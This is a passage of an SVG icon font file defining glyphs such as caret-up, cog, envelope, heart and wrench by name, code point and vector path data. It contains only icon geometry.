<glyph glyph-name="caret-up" unicode="&#xe90b;" d="M763 279c8-8 8-12 8-25 0-8-4-16-8-25-9-8-13-8-25-8h-459c-8 0-16 4-25 8 0 9-4 17-4 25 0 9 4 17 8 25l230 229c8 5 16 9 25 9 8 0 16-4 25-9l225-229z" horiz-adv-x="1000" />

<glyph glyph-name="chain-broken" unicode="&#xe90c;" d="M500 492c-21-21-50-21-71 0-21 21-21 50 0 71l142 141c79 79 208 79 287 0 80-79 80-208 0-287l-141-142c-21-21-50-21-71 0-21 21-21 50 0 71l142 142c37 37 37 104 0 141s-105 38-142 0l-146-137z m0-284c21 21 50 21 71 0 21-20 21-50 0-70l-142-142c-79-79-208-79-287 0-79 79-79 208 0 287l141 142c21 21 50 21 71 0 21-25 21-54 4-75l-141-142c-38-37-38-104 0-141s104-38 141 0l142 141z m142 284c21-21 21-50 0-71l-213-213c-21-20-50-20-71 0-20 21-20 50 0 71l213 213c21 21 54 21 71 0z" horiz-adv-x="1000" />

<glyph glyph-name="check-circle-o" unicode="&#xe90d;" d="M896 579c42-71 62-146 62-229s-20-158-62-229c-42-71-96-125-167-167-71-42-146-62-229-62s-158 20-229 62c-71 42-125 96-167 167-41 71-62 146-62 229s21 158 62 229 96 125 167 167 146 62 229 62 158-20 229-62 125-96 167-167z m-504-337l-109 108c-16 17-45 17-66 0-17-17-17-46 0-67l141-141c17-17 46-17 63 0l358 346c17 16 17 45 0 66-16 17-46 17-66 0l-321-312z" horiz-adv-x="1000" />

<glyph glyph-name="check" unicode="&#xe90e;" d="M813 625c25 25 62 25 87 0 25-25 25-62 0-87l-487-467c-25-25-63-25-88 0l-225 225c-25 25-25 62 0 87 25 25 63 25 88 0l183-183 442 425z" horiz-adv-x="1000" />

<glyph glyph-name="chevron-double-left" unicode="&#xe90f;" d="M304 350l254-250c25-25 25-62 0-87-25-26-62-26-87 0l-300 295c-25 25-25 67 0 88l300 296c25 25 62 25 87 0 25-25 25-63 0-88l-254-254z m250 0l254-250c25-25 25-62 0-87s-62-26-87 0l-300 295c-25 25-25 67 0 88l300 296c25 25 62 25 87 0s25-63 0-88l-254-254z" horiz-adv-x="1000" />

<glyph glyph-name="chevron-double-right" unicode="&#xe910;" d="M679 350l-254-250c-25-25-25-62 0-87 25-26 63-26 88 0l300 295c25 25 25 67 0 88l-300 296c-25 25-63 25-88 0-25-25-25-63 0-88l254-254z m-250 0l-254-250c-25-25-25-62 0-87s63-26 88 0l300 295c25 25 25 67 0 88l-305 292c-25 25-62 25-87 0s-21-63 4-88l254-250z" horiz-adv-x="1000" />

<glyph glyph-name="undo" unicode="&#xe911;" d="M325 592c0 4 4 4 8 8 138 79 317 33 396-104s34-313-104-396-312-33-396 104c-16 29-50 38-79 21-29-17-37-50-21-79 113-192 359-259 550-146s259 358 146 550-354 263-550 150c-12-8-25-17-33-25l-4 4-59 59c-16 16-46 4-46-17l0-196c0-17 13-29 30-29l195 0c25 0 38 29 21 46l-54 50z" horiz-adv-x="1000" />

<glyph glyph-name="filter" unicode="&#xe912;" d="M96 492c-29 0-54 25-54 54s25 54 54 54h812c25 0 50-25 50-54s-25-54-54-54h-808z m121-209c-29 0-54 25-54 55 0 29 25 54 54 54h566c30 0 55-25 55-54 0-30-25-55-55-55h-566z m121-208c-30 0-55 25-55 54 0 29 25 54 55 54h325c29 0 54-25 54-54 0-29-25-54-54-54h-325z" horiz-adv-x="1000" />

<glyph glyph-name="circle-o" unicode="&#xe913;" d="M500-108c254 0 458 204 458 458s-204 458-458 458-458-204-458-458 204-458 458-458z m0 108c-192 0-350 154-350 350s158 350 350 350 350-154 350-350-158-350-350-350z" horiz-adv-x="1000" />

<glyph glyph-name="circle" unicode="&#xe914;" d="M896 579c42-71 62-146 62-229s-20-158-62-229c-42-71-96-125-167-167-71-42-146-62-229-62s-158 20-229 62c-71 42-125 96-167 167-41 71-62 146-62 229s21 158 62 229 96 125 167 167 146 62 229 62 158-20 229-62 125-96 167-167z" horiz-adv-x="1000" />

<glyph glyph-name="clock-o" unicode="&#xe915;" d="M500 721c-204 0-371-167-371-371 0-204 167-371 371-371 204 0 371 167 371 371 0 204-167 371-371 371z m0 87c254 0 458-204 458-458s-204-458-458-458-458 204-458 458 204 458 458 458z m100-600l-17-20c-12-17-37-21-58-9l-108 88v225c0 21 16 41 41 41h25c21 0 42-16 42-41v-175l67-54c16-13 21-38 8-55z" horiz-adv-x="1000" />

<glyph glyph-name="cog" unicode="&#xe916;" d="M904 246l-75 42c9 41 9 83 0 120l75 42c9 8 13 21 13 29-21 63-54 117-96 167-8 8-17 8-25 4l-75-42c-33 25-67 46-108 63v83c0 9-9 17-17 21-63 13-129 13-192 0-8-4-16-12-16-21v-87c-38-13-75-34-105-63l-75 46c-8 4-20 0-29-4-41-46-75-104-96-167 0-8 5-21 13-25l75-41c-8-42-8-84 0-121l-75-42c-8-4-13-17-8-25 20-62 54-117 95-167 9-8 17-8 25-4l75 42c34-25 67-46 109-63v-87c0-9 8-17 16-21 63-13 130-13 192 0 8 4 17 12 17 21v87c37 13 75 34 108 63l75-42c8-4 21-4 25 4 42 46 75 105 96 167-4 4-8 17-17 21z m-404-33c-79 0-142 62-142 141s63 142 142 142 142-63 142-142-63-141-142-141z" horiz-adv-x="1000" />

<glyph glyph-name="cogs" unicode="&#xe917;" d="M775 454l-12-21c-5-8-13-12-21-8-17 8-34 17-46 29-8 4-8 17-4 21l12 21c-8 12-16 25-21 37h-25c-8 0-16 5-16 17-4 17-4 33 0 54 0 9 8 17 16 17h25c5 12 13 29 21 37l-12 21c-4 9-4 17 4 21 12 8 29 17 46 25 8 0 16 0 21-8l12-21c17 4 29 4 46 0l12 21c5 8 13 8 21 8 17-4 34-17 46-25 8-4 8-17 4-21l-12-21c12-16 16-29 25-41h25c8 0 16-4 16-17 5-17 5-33 0-54 0-8-8-17-16-17h-25c-4-12-13-29-21-37l8-17c4-8 4-17-4-21-12-12-29-21-46-25-8-4-16 0-21 9l-12 20c-17-8-29-8-46-4l0 0z m-17 84c55-42 117 20 75 75-54 41-116-21-75-75l0 0z m-162-217l50-25c12-8 21-25 17-42-13-33-38-66-63-91-12-13-29-17-42-9l-41 25c-25-21-50-33-79-46v-45c0-17-13-30-30-34-33-4-70-4-108 0-17 4-29 17-29 34v45c-29 9-54 25-79 46l-42-25c-12-8-33-4-42 9-25 29-45 58-62 91-4 17 0 34 17 42l45 25c-4 29-4 58 0 92l-50 20c-12 9-20 25-12 42 12 33 37 67 62 92 13 12 30 16 42 8l42-25c25 21 50 33 79 46v50c0 17 12 29 29 33 33 4 67 4 104 0 17-4 29-16 29-33v-46c30-8 55-25 80-46l41 25c13 9 34 4 42-8 25-29 46-58 58-92 4-16 0-33-12-41l-50-25c8-34 8-63 4-92z m-171-33c83 108-42 233-150 150-83-109 42-234 150-150z m350-259l-12-21c-5-8-13-12-21-8-17 4-34 17-46 25-8 4-8 17-4 21l12 21c-8 12-16 25-21 37h-25c-8 0-16 4-16 17-4 17-4 33 0 54 0 8 8 17 16 17h25c5 12 13 29 21 37l-12 21c-4 8-4 17 4 21 12 12 29 21 46 25 8 4 16 0 21-8l12-21c17 4 29 4 46 0l12 21c5 8 13 12 21 8 17-4 34-17 46-25 8-4 8-17 4-21l-12-21c8-12 16-25 21-37h25c8 0 16-4 16-17 4-17 4-33 0-54 0-8-8-17-16-17h-21c-4-12-13-29-21-37l12-21c5-8 5-17-4-21-12-12-29-21-46-25-8-4-16 0-20 8l-13 21c-21 0-33 0-50 0z m-17 84c55-42 117 20 75 75-54 41-116-21-75-75l0 0z" horiz-adv-x="1000" />

<glyph glyph-name="commenting-o" unicode="&#xe918;" d="M300 433c-33 0-58-25-58-54 0-29 25-54 58-54s58 25 58 54c0 29-25 54-58 54z m200 0c-33 0-58-25-58-54 0-29 25-54 58-54s58 25 58 54c0 29-25 54-58 54z m200 0c-33 0-58-25-58-54 0-29 25-54 58-54 33 0 58 25 58 54 0 29-25 54-58 54z m-200 309c-250 0-458-163-458-367 0-83 37-158 96-221-25-71-84-129-84-129-12-8-12-29-8-42s21-25 37-25c109 0 196 46 250 80 50-17 109-25 167-25 254 0 458 162 458 366s-204 363-458 363z m0-646c-46 0-96 8-142 21l-41 12-34-25c-25-16-62-37-104-50 17 21 29 46 38 71l21 50-38 38c-33 33-71 91-71 162 0 154 167 279 371 279s371-125 371-279-167-279-371-279z" horiz-adv-x="1000" />

<glyph glyph-name="copy" unicode="&#xe919;" d="M875 692l-92 91c-12 17-33 25-54 25h-300c-46 0-83-37-83-87v-88h-138c-45 5-83-33-83-83v-575c0-46 38-83 83-83h388c46 0 83 37 83 87v88h138c46 0 83 37 83 87v475c0 25-8 46-25 63z m-287-713h-371c-4 0-9 4-9 13v550c0 4 5 12 9 12h129v-400c0-46 37-87 83-87h167v-75c0-9-4-13-8-13z m220 171h-366c-4 0-9 4-9 13v550c0 4 5 12 9 12h183v-158c0-25 17-42 42-42h154v-362c-4-9-8-13-13-13l0 0z m9 458h-109v113h17c4 0 4 0 8-4l84-88c0 0 4-4 4-8v-13l-4 0z" horiz-adv-x="1000" />

<glyph glyph-name="database" unicode="&#xe91a;" d="M275 429c63-12 133-21 204-21s142 9 204 21c63 13 113 34 150 59v-80c0-20-16-41-45-58s-75-33-130-42-112-16-179-16-125 4-179 16-100 25-129 42-46 38-46 58v80c38-25 88-46 150-59z m0-358c63-13 133-21 204-21s142 8 204 21 113 33 150 58v-79c0-21-16-42-45-58-34-17-75-34-130-42-54-13-112-17-179-17s-125 4-179 17c-54 12-100 25-129 42-29 21-46 37-46 62v79c38-29 88-45 150-62z m0 179c63-12 133-21 204-21s142 9 204 21c63 13 113 33 150 58v-79c0-21-16-41-45-58-34-17-75-33-130-42-54-12-112-16-179-16s-125 4-179 16c-54 13-100 25-129 42-29 21-46 37-46 58v79c38-25 88-45 150-58z m29 500c54 13 113 17 179 17s125-4 180-17 100-25 129-42 46-37 46-58v-58c0-21-17-42-46-59-34-16-75-33-129-41s-113-17-180-17-125 0-179 8-100 25-129 42c-33 21-50 42-50 63v58c0 21 17 42 46 58s79 38 133 46z" horiz-adv-x="1000" />

<glyph glyph-name="dot-circle-o" unicode="&#xe91b;" d="M500-108c-254 0-458 204-458 458s204 458 458 458 458-204 458-458-204-458-458-458z m0 108c192 0 350 154 350 350s-158 350-350 350-350-158-350-350 158-350 350-350z m125 425c13-21 21-46 21-75s-8-50-21-75c-12-21-29-42-54-54-21-13-46-21-75-21s-50 8-75 21c-21 12-42 29-54 54-13 21-21 46-21 75s8 50 21 75c12 21 29 42 54 54 21 13 46 21 75 21s50-8 75-21c25-16 42-33 54-54z" horiz-adv-x="1000" />

<glyph glyph-name="envelope" unicode="&#xe91c;" d="M942 467c8 4 16 0 16-9v-366c0-46-37-88-87-88h-742c-46 0-87 38-87 88v362c0 9 8 13 16 9 42-30 92-71 275-205 38-29 100-87 167-83 63 0 129 58 167 83 179 138 233 175 275 209z m-442-234c42 0 100 55 133 75 238 171 255 188 313 230 8 8 12 20 12 33v33c0 46-37 88-87 88h-742c-50 0-87-38-87-88v-33c0-13 4-25 16-33 55-42 71-59 313-230 29-20 87-75 129-75z" horiz-adv-x="1000" />

<glyph glyph-name="external-link-square" unicode="&#xe91d;" d="M125 808h750c46 0 83-37 83-83v-750c0-46-37-83-83-83h-750c-46 0-83 37-83 83v750c0 46 37 83 83 83z m458-287l-395-396c-25-25-25-62 0-87s62-25 87 0l396 395 79-79c21-21 58-4 63 25l4 250c0 21-17 34-34 34l-250-5c-33 0-45-37-25-62l75-75z" horiz-adv-x="1000" />

<glyph glyph-name="eyedropper" unicode="&#xe91e;" d="M767 771c41 0 75-13 104-42 29-29 42-62 42-104s-9-79-38-108l-104-104 50-50c4-5 4-9 4-13 0-4 0-8-4-12l-96-96c-4-4-8-4-12-4s-9 0-13 4l-50 50-283-275c-13-13-25-17-42-17h-92l-112-58c-4 0-8 0-8 0l-21 20c-9 5-9 9-4 13l58 113v95c0 17 4 30 17 42l279 279-50 50c-4 4-4 4-4 9 0 4 0 8 4 12l96 96c4 4 8 4 12 4s8 0 13-4l50-50 104 104c25 33 58 46 100 46z m-442-679l267 266-92 88-262-263c-5-4-5-8-5-12v-75c0-4 5-8 9-8h79c0 0 0 0 4 4z" horiz-adv-x="1000" />

<glyph glyph-name="folder" unicode="&#xe91f;" d="M958 454v-396c0-33-12-62-37-87s-54-38-88-38h-666c-34 0-63 13-88 38s-37 54-37 87v542c0 33 12 63 37 88s54 37 88 37h175c33 0 62-12 87-37s38-55 38-88v-17h366c34 0 63-12 88-37s37-54 37-92z" horiz-adv-x="1000" />

<glyph glyph-name="font" unicode="&#xe920;" d="M454 517l-87-229c12 0 33 0 71 0 33 0 62 0 83 0 8 0 17 0 29 0-33 83-62 162-96 229z m-371-567l0 42c9 4 17 4 30 8s20 4 29 4c8 0 16 4 25 9 8 4 16 8 21 16 8 9 12 17 16 25l121 317 142 371h66c5-9 9-13 9-17l104-246c12-25 29-71 54-133s46-108 58-142c5-12 17-37 30-75s25-66 37-87c8-17 13-25 17-29 8-5 21-9 46-17 25-4 37-9 41-13 0-12 4-21 4-29 0 0 0-4 0-8 0-4 0-4 0-9-20 0-54 0-95 5-42 4-75 4-96 4-25 0-63 0-109-4s-79-5-91-5c0 17 0 30 0 42l66 13c0 0 5 0 9 0 4 0 8 0 8 0 0 0 4 0 8 4 5 0 5 4 9 4s4 4 4 4c4 0 4 4 4 4 0 0 0 5 0 9 0 4-4 21-17 50-12 29-20 58-37 91-13 34-21 50-21 50l-229 0c-8-20-21-54-38-100s-25-75-25-83c0-8 5-12 9-21 0 13 8 9 16 4 9-4 17-4 25-8 9 0 17-4 30-4s20 0 20 0c0-9 0-17 0-29 0-5 0-9 0-13-20 0-50 0-87 4-42 4-71 4-88 4-4 0-8 0-12 0s-8 0-13 0c-29-8-62-12-100-12z" horiz-adv-x="1000" />

<glyph glyph-name="adjust" unicode="&#xe921;" d="M42 350c0-254 204-458 458-458s458 204 458 458-204 458-458 458-458-204-458-458z m458-342v684c188 0 342-154 342-342 0-187-154-342-342-342z" horiz-adv-x="1000" />

<glyph glyph-name="lightbox" unicode="&#xe922;" d="M871 808h-571c-50 0-87-37-87-87v-88h-84c-50 5-87-33-87-83v-575c0-46 37-83 87-83h575c46 0 88 37 88 87v88h87c46 0 88 37 88 87v567c-9 50-46 87-96 87z m-171-829h-571v371h575v-371z m171 171h-88v400c0 46-37 88-87 88h-396v83h575v-571z" horiz-adv-x="1000" />

<glyph glyph-name="heart-o" unicode="&#xe923;" d="M863 667c-105 87-263 75-363-25-100 100-258 112-362 25-134-113-117-292-21-388l312-312c17-17 42-30 67-30 25 0 50 9 67 30l312 312c104 96 121 279-12 388z m-42-329l-313-313c-4-4-8-4-12 0l-313 313c-66 66-79 187 13 266 71 59 175 50 246-16l58-67 63 62c66 67 175 75 245 17 92-71 75-196 13-262l0 0z" horiz-adv-x="1000" />

<glyph glyph-name="history" unicode="&#xe924;" d="M200 633c25 30 54 50 88 67 191 113 441 46 550-146s45-441-146-550-442-50-554 146c-17 29-9 63 20 79 30 17 63 9 80-21 79-137 254-183 395-104s184 254 105 396-255 179-396 100c-21-12-42-29-59-46l67-66c0 0 4-5 4-5 0-4-4-8-8-8l-233-17c0 0 0 0 0 0-5 0-9 5-9 9l13 229c0 0 0 4 4 4 4 4 8 4 12 0l67-67z m383-420c-12-17-37-21-58-9l-108 88v225c0 21 16 41 41 41h25c21 0 42-16 42-41v-175l67-54c16-13 21-38 8-59l-17-16z" horiz-adv-x="1000" />

<glyph glyph-name="image-bold" unicode="&#xe925;" d="M871 725h-742c-50 0-87-37-87-87v-559c0-46 37-87 87-87h746c46 0 88 37 88 87v559c-5 50-42 87-92 87z m-733-642c-5 0-13 5-13 13v533c0 4 4 13 13 13h725c4 0 12-4 12-13v-537c0-4-4-13-12-13h-725z m129 484c-38 0-71-34-71-71s33-71 71-71 71 33 71 71-30 71-71 71z m-71-417h608v196l-166 167c-9 8-25 8-34 0l-229-230-75 75c-8 9-25 9-33 0l-75-75v-133z" horiz-adv-x="1000" />

<glyph glyph-name="info-circle" unicode="&#xe926;" d="M500-108c254 0 458 204 458 458s-204 458-458 458-458-204-458-458c0-254 204-458 458-458z m0 762c25 0 50-21 50-50s-25-46-50-46c-25 0-50 21-50 50 0 13 4 25 13 34s25 12 37 12z m-87-229c-13 4-21 17-21 29 0 9 4 17 8 21 4 4 13 8 21 8h121c4 0 8-4 8-8v-296c0-46 21-62 38-66 12-5 20-17 20-30 0-16-12-29-29-29h-154c-8 4-17 4-25 13-4 4-8 12-8 21 0 12 8 25 21 29 16 4 37 21 37 66v180c0 41-21 58-37 62z" horiz-adv-x="1000" />

<glyph glyph-name="link" unicode="&#xe927;" d="M479 325c38-37 109-37 154 8l117 121c46 46 50 113 8 154s-104 38-150-8l-50-50c-20-21-54-21-75 0-20 21-20 54 0 75l50 50c84 88 221 92 305 8s79-220-9-308l-121-117c-87-87-225-91-308-8-21 21-21 54 0 75 21 21 58 21 79 0z m46 46c-37 37-108 37-154-8l-121-121c-46-46-50-113-8-154 37-38 108-38 154 8l54 54c21 21 54 21 75 0 21-21 21-54 0-75l-54-54c-83-84-221-92-304-8s-79 220 8 308l121 121c87 87 225 91 308 8 21-21 21-54 0-75-25-25-58-25-79-4z" horiz-adv-x="1000" />

<glyph glyph-name="long-arrow-left" unicode="&#xe928;" d="M292 179c0-29-38-46-63-25l-179 175c-12 13-12 38 0 50l179 175c25 17 63 0 63-29v-112h604c33 0 62-30 62-63 0-33-29-62-62-62h-604v-109z" horiz-adv-x="1000" />

<glyph glyph-name="long-arrow-right" unicode="&#xe929;" d="M708 179c0-29 38-46 63-25l179 175c13 13 13 38 0 50l-179 175c-25 17-63 0-63-29v-112h-604c-33 0-62-30-62-63 0-33 29-62 62-62h604v-109z" horiz-adv-x="1000" />

<glyph glyph-name="caret-down" unicode="&#xe92a;" d="M571 457q0-14-10-25l-250-250q-11-11-25-11t-25 11l-250 250q-11 11-11 25t11 25 25 11h500q14 0 25-11t10-25z" horiz-adv-x="571.4" />

<glyph glyph-name="paint-brush" unicode="&#xe92b;" d="M883 608c-91-175-154-270-187-304-17-16-42-41-79-50-13-4-9 25-50 63-34 33-67 25-67 46 0 8 8 50 42 91 33 38 116 121 254 246 8 8 71 75 108 42 38-34-16-121-21-134z m-370-591c-46-46-105-67-180-67-41 0-79 8-112 25s-58 38-79 67-34 58-46 91c-8 34-13 71-13 113 0 0 46-46 88-54 150-21 179 187 337 116 34-16 80-62 75-158-4-54-50-112-70-133z" horiz-adv-x="1000" />

<glyph glyph-name="pencil" unicode="&#xe92c;" d="M892 525l-75-79c-9-8-21-8-29 0l-180 187c-8 9-8 21 0 30l75 79c30 33 80 33 113 0l96-100c33-34 33-84 0-117z m-346 71l-429-446-34-208c-4-30 17-55 46-46l196 37 429 446c9 9 9 21 0 29l-179 188c-8 8-21 8-29 0z m-263-408c-8 8-8 25 0 33l250 262c9 9 25 9 34 0 8-8 8-25 0-33l-250-262c-9-9-21-9-34 0l0 0z m-58-146h79v-63l-104-21-50 59 17 108h58v-83z" horiz-adv-x="1000" />

<glyph glyph-name="plus-circle" unicode="&#xe92d;" d="M104 579c42 71 96 125 167 167s146 62 229 62 158-20 229-62 125-96 167-167c42-71 62-146 62-229s-20-158-62-229c-42-71-96-125-167-167-71-42-146-62-229-62s-158 20-229 62c-71 42-125 96-167 167-41 71-62 146-62 229s21 158 62 229z m350-183h-175c-25 0-46-21-46-46s21-46 46-46h175v-175c0-25 21-46 46-46 25 0 46 21 46 46v175h175c25 0 46 21 46 46s-21 46-46 46h-175v175c0 25-21 46-46 46-25 0-46-21-46-46v-175z" horiz-adv-x="1000" />

<glyph glyph-name="zoom-in-bold" unicode="&#xe92e;" d="M388 467v71c0 29 25 54 54 54 29 0 54-25 54-54v-71h71c29 0 54-25 54-54s-25-55-54-55h-71v-70c0-30-25-55-54-55-29 0-54 25-54 55v70h-71c-29 0-54 25-54 55s25 54 54 54h71z m266-350c-62-46-137-71-216-71-205 0-367 162-367 367s162 366 367 366 366-162 366-366c0-84-25-159-71-217l163-163c21-20 21-54 0-75-21-21-54-21-75 0l-167 159z m-216 37c141 0 258 117 258 259s-117 258-258 258-259-117-259-258 117-259 259-259z" horiz-adv-x="1000" />

<glyph glyph-name="sort-amount-desc" unicode="&#xe92f;" d="M263 129l0 0h83c25 0 37-29 21-46l-138-137c-12-13-29-13-37 0l-138 137c-16 17-4 46 21 46h83 0v588c0 33 25 62 55 62s54-29 54-62v-588z m225 284c-34 0-63 25-63 54s29 54 63 54h287c33 0 63-25 63-54s-30-54-63-54h-287z m0-209c-34 0-63 25-63 54s29 55 63 55h170c34 0 63-25 63-55s-29-54-63-54h-170z m0-208c-34 0-63 25-63 54s29 54 63 54h58c33 0 62-25 62-54s-29-54-62-54h-58z m0 625c-34 0-63 25-63 54s29 54 63 54h400c33 0 62-25 62-54s-29-54-62-54h-400z" horiz-adv-x="1000" />

<glyph glyph-name="sign-out" unicode="&#xe930;" d="M946 317l-304-300c-29-25-75-9-75 29v175h-250c-25 0-42 21-42 42v175c0 25 21 41 42 41h246v175c0 38 45 59 75 29l304-304c21-16 21-41 4-62z m-567 287h-166c-42 0-80-37-80-79v-350c0-42 38-79 80-79h166c25 0 46-21 46-46 0-25-21-46-46-46h-166c-96 0-171 75-171 171v350c0 96 75 171 171 171h166c25 0 46-21 46-46s-21-46-46-46z" horiz-adv-x="1000" />

<glyph glyph-name="spinner" unicode="&#xe931;" d="M588 721c0-46-38-88-88-88s-87 42-87 88 41 87 87 87 88-37 88-87z m-88-658c-46 0-87-38-87-88s41-83 87-83 88 37 88 87-42 84-88 84z m371 375c-46 0-88-38-88-88s38-87 88-87 87 41 87 87-37 88-87 88z m-658-88c0 46-38 88-88 88s-83-42-83-88 37-87 87-87 84 41 84 87z m25-179c-46 0-88-38-88-88s38-87 88-87 87 37 87 87c-4 50-42 88-87 88z m525 0c-46 0-88-38-88-88s38-87 88-87 87 37 87 87c0 50-37 88-87 88z m-525 529c-46 0-88-37-88-87s38-88 88-88 87 38 87 88-42 87-87 87z" horiz-adv-x="1000" />

<glyph glyph-name="square" unicode="&#xe932;" d="M958 638v-575c0-46-16-88-50-121s-75-50-120-50h-575c-46 0-88 16-121 50s-50 75-50 121v575c0 45 16 87 50 120s75 50 121 50h575c45 0 87-16 120-50s50-75 50-120z" horiz-adv-x="1000" />

<glyph glyph-name="star-o" unicode="&#xe933;" d="M913 500l-250 38-113 237c-21 42-79 42-100 0l-112-237-250-38c-46-8-63-62-30-96l180-183-42-259c-8-45 42-83 79-58l225 121 225-121c42-21 88 13 79 58l-41 259 179 183c33 34 12 92-29 96l0 0z m-242-250l42-246-213 117-212-117 41 246-171 175 238 38 104 220 108-225 238-37-175-171z" horiz-adv-x="1000" />

<glyph glyph-name="star" unicode="&#xe934;" d="M450 775l-112-237-250-38c-42-4-63-67-30-100l180-183-42-263c-8-46 42-79 79-58l225 117 225-117c42-21 88 12 79 58l-41 263 179 183c33 33 12 92-29 100l-250 38-113 237c-21 42-79 42-100 0z" horiz-adv-x="1000" />

<glyph glyph-name="text-align-justify" unicode="&#xe935;" d="M104-17c-33 0-62 25-62 55s29 54 62 54h792c33 0 62-25 62-54s-29-55-62-55h-792z m0 209c-33 0-62 25-62 54s29 54 62 54h792c33 0 62-25 62-54s-29-54-62-54h-792z m0 208c-33 0-62 25-62 54s29 54 62 54h792c33 0 62-25 62-54s-29-54-62-54h-792z m0 208c-33 0-62 25-62 55s29 54 62 54h792c33 0 62-25 62-54s-29-55-62-55h-792z" horiz-adv-x="1000" />

<glyph glyph-name="text-align-center" unicode="&#xe936;" d="M188 400c-34 0-63 25-63 54s29 54 63 54h620c38 0 63-25 63-54s-29-54-63-54h-620z m83-208c-33 0-63 25-63 54s30 54 63 54h458c34 0 63-25 63-54s-29-54-63-54h-458z m-167-209c-33 0-62 25-62 55s29 54 62 54h792c33 0 62-25 62-54s-29-55-62-55h-792z m254 625c-37 0-66 25-66 55s29 54 66 54h284c37 0 66-25 66-54s-29-55-66-55h-284z" horiz-adv-x="1000" />

<glyph glyph-name="tags" unicode="&#xe937;" d="M238 517c12 12 20 29 20 46 0 16-4 33-16 41s-25 17-42 17-33-4-42-17-16-25-16-41c0-17 4-34 16-42 13-13 25-17 42-17s29 4 38 13z m537-234c0-16-4-33-17-41l-237-238c-13-12-29-17-46-17-17 0-33 5-42 17l-345 346c-13 13-21 29-30 50s-16 38-16 54v200c0 17 4 29 16 42s25 17 42 17h200c17 0 38-5 58-13 25-4 38-17 50-29l346-346c13-8 21-25 21-42z m183 0c0-16-4-33-16-41l-238-238c-12-12-29-17-46-17-12 0-20 5-29 9-8 4-16 12-25 21l225 225c13 12 17 25 17 41 0 17-4 34-17 46l-346 346c-8 8-25 21-45 29-21 9-38 13-55 13h109c16 0 37-4 58-13 17-8 33-21 46-33l346-346c12-8 16-25 16-42z" horiz-adv-x="1000" />

<glyph glyph-name="text-align-left" unicode="&#xe938;" d="M104 400c-33 0-62 25-62 54s29 54 62 54h750c34 0 63-25 63-54s-29-54-63-54h-750z m0-208c-33 0-62 25-62 54s29 54 62 54h625c34 0 63-25 63-54s-29-54-63-54h-625z m0-209c-33 0-62 25-62 55s29 54 62 54h792c33 0 62-25 62-54s-29-55-62-55h-792z m0 625c-33 0-62 25-62 55s29 54 62 54h542c33 0 62-25 62-54s-29-55-62-55h-542z" horiz-adv-x="1000" />

<glyph glyph-name="text-align-right" unicode="&#xe939;" d="M896 400h-750c-33 0-63 25-63 54s30 54 63 54h750c33 0 62-25 62-54s-29-54-62-54z m0-208h-625c-33 0-63 25-63 54s30 54 63 54h625c33 0 62-25 62-54s-29-54-62-54z m0-209h-792c-33 0-62 25-62 55s29 54 62 54h792c33 0 62-25 62-54s-29-55-62-55z m0 625h-542c-33 0-62 25-62 55s29 54 62 54h542c33 0 62-25 62-54s-29-55-62-55z" horiz-adv-x="1000" />

<glyph glyph-name="close-circle" unicode="&#xe93a;" d="M896 579c42-71 62-146 62-229s-20-158-62-229c-42-71-96-125-167-167-71-42-146-62-229-62s-158 20-229 62c-71 42-125 96-167 167-41 71-62 146-62 229s21 158 62 229 96 125 167 167 146 62 229 62 158-20 229-62 125-96 167-167z m-333-229l125 125c16 17 16 46 0 63-17 20-46 20-63 4l-125-125-125 125c-46 41-108-25-67-67l125-125-125-125c-16-17-16-46 0-62 17-21 46-21 67-5l125 125 125-125c42-41 104 21 63 63l-125 129z" horiz-adv-x="1000" />

<glyph glyph-name="trash-o" unicode="&#xe93b;" d="M588 63h41c13 0 21 8 21 20v388c0 12-8 21-21 21h-41c-13 0-21-9-21-21v-388c0-8 12-20 21-20z m287 604h-142l-62 100c-17 25-42 41-71 41h-175c-29 0-54-16-71-41l-58-100h-142c-16 0-29-13-29-29v-30c0-16 13-29 29-29h29v-600c0-46 38-87 84-87h500c46 0 83 37 83 87v600h25c17 0 29 13 29 29v30c-4 16-16 29-29 29z m-454 50c0 4 4 4 8 4h163c4 0 8 0 8-4l29-50h-237l29 50z m342-738h-500v600h500v-600z m-367 84h42c12 0 20 8 20 20v388c0 12-8 21-20 21h-42c-13 0-21-9-21-21v-388c0-8 8-20 21-20z" horiz-adv-x="1000" />

<glyph glyph-name="font-awesome" unicode="&#xe93c;" d="M777 788h-679c-54 0-98-45-98-98v-679c0-54 44-99 98-99h679c54 0 98 45 98 99v679c0 53-44 98-98 98z m-89-556c0-8-7-11-15-15-33-14-67-27-105-27-53 0-77 33-140 33-46 0-93-17-132-34-2-1-5-1-7-2v-89c0-3 0-7-1-9v-3c-5-16-20-28-37-28-22 0-40 18-40 40v427c-15 12-26 30-26 51 0 37 30 66 66 66 36 0 65-29 65-66 0-21-9-39-25-51v-36c3 1 7 2 10 5 36 15 80 28 120 28 45 0 80-12 119-27 8-4 17-5 26-5 44 0 93 32 105 32 9 0 18-7 18-16v-274z" horiz-adv-x="875" />

<glyph glyph-name="user-circle-o" unicode="&#xe93d;" d="M313 58c54-33 120-54 187-54 71 0 133 21 188 54-21 25-46 46-71 63-34 21-75 29-117 29-75 0-146-33-187-92z m-84 71c67 79 163 129 271 129 58 0 117-16 171-45 37-21 71-50 100-84 50 59 79 138 79 221 0 192-154 350-350 350s-350-158-350-350c0-83 33-162 79-221z m271-237c-254 0-458 204-458 458s204 458 458 458 458-204 458-458-204-458-458-458z m0 383c-100 0-179 79-179 179s79 179 179 179 179-79 179-179-79-179-179-179z m0 108c38 0 71 34 71 71s-33 71-71 71-71-33-71-71 34-71 71-71z" horiz-adv-x="1000" />

<glyph glyph-name="video-camera" unicode="&#xe93e;" d="M575 642h-458c-42 0-75-34-75-71v-438c0-41 33-70 75-70h458c42 0 75 33 75 70v438c4 37-33 71-75 71z m304-59l-175-116v-238l175-116c34-21 79 0 79 37v396c0 37-45 62-79 37z" horiz-adv-x="1000" />

<glyph glyph-name="heart" unicode="&#xe93f;" d="M871 671c-100 83-242 67-333-25l-38-38-33 38c-92 92-238 104-334 25-112-96-116-263-16-367l346-354c20-21 58-21 79 0l346 354c100 100 95 271-17 367z" horiz-adv-x="1000" />

<glyph glyph-name="wrench" unicode="&#xe940;" d="M629 329l-375-375c-41-42-108-42-146 0s-41 109 0 146l375 375c-25 79-8 171 55 233 66 67 162 84 241 55 4 0 13-5 9-9-5-4-5-4-5-4-29-29-75-75-133-133 17-59 25-92 29-92s34-12 92-29c58 62 100 104 129 133 4 4 4 4 4 4s4-4 9-8c33-83 12-179-50-246-63-58-155-75-234-50z m-475-329c17-17 42-17 59 0 16 17 16 42 0 58s-42 17-59 0c-16-12-16-41 0-58z" horiz-adv-x="1000" />

